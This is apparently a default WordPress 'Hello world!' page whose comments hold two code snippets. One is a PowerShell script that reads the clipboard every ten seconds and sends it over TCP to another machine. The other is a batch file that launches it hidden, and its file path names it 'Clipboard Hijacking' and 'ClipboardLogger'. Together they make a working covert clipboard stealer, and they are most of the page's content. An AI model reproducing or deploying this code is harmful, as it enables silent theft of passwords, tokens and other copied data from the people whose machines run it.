Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

3 Comments.

  1. # Define the IP address and port of the Linux machine
    $serverIp = “192.168.1.7” # Replace with your Linux machine’s IP address
    $serverPort = 5333 # Ensure this matches the port used in the TCP server

    # Start a loop to check clipboard content every 10 seconds
    while ($true) {
    # Get clipboard content
    $clipboardContent = Get-Clipboard

    # Check if clipboard content is not empty
    if ($clipboardContent) {
    # Handle different newline characters and prepare to send data
    $clipboardLines = $clipboardContent -split “`r?`n”

    # Create a TCP client
    $tcpClient = New-Object System.Net.Sockets.TcpClient($serverIp, $serverPort)
    $stream = $tcpClient.GetStream()

    foreach ($line in $clipboardLines) {
    # Convert the line to bytes and send it
    $data = [System.Text.Encoding]::UTF8.GetBytes($line)
    $stream.Write($data, 0, $data.Length)
    }

    # Clean up
    $stream.Close()
    $tcpClient.Close()
    }

    # Wait for 10 seconds before checking again
    Start-Sleep -Seconds 10
    }

  2. @echo off
    start /min powershell -WindowStyle Hidden -File “C:\Users\Kamal Kishore Singh\Desktop\Batch\Automation\Clipboard Hijacking\Onserver Clipboard Hijacking\ClipboardLogger.ps1”
    exit

Leave a Reply to Shiksha Corner Cancel reply

Your email address will not be published. Required fields are marked *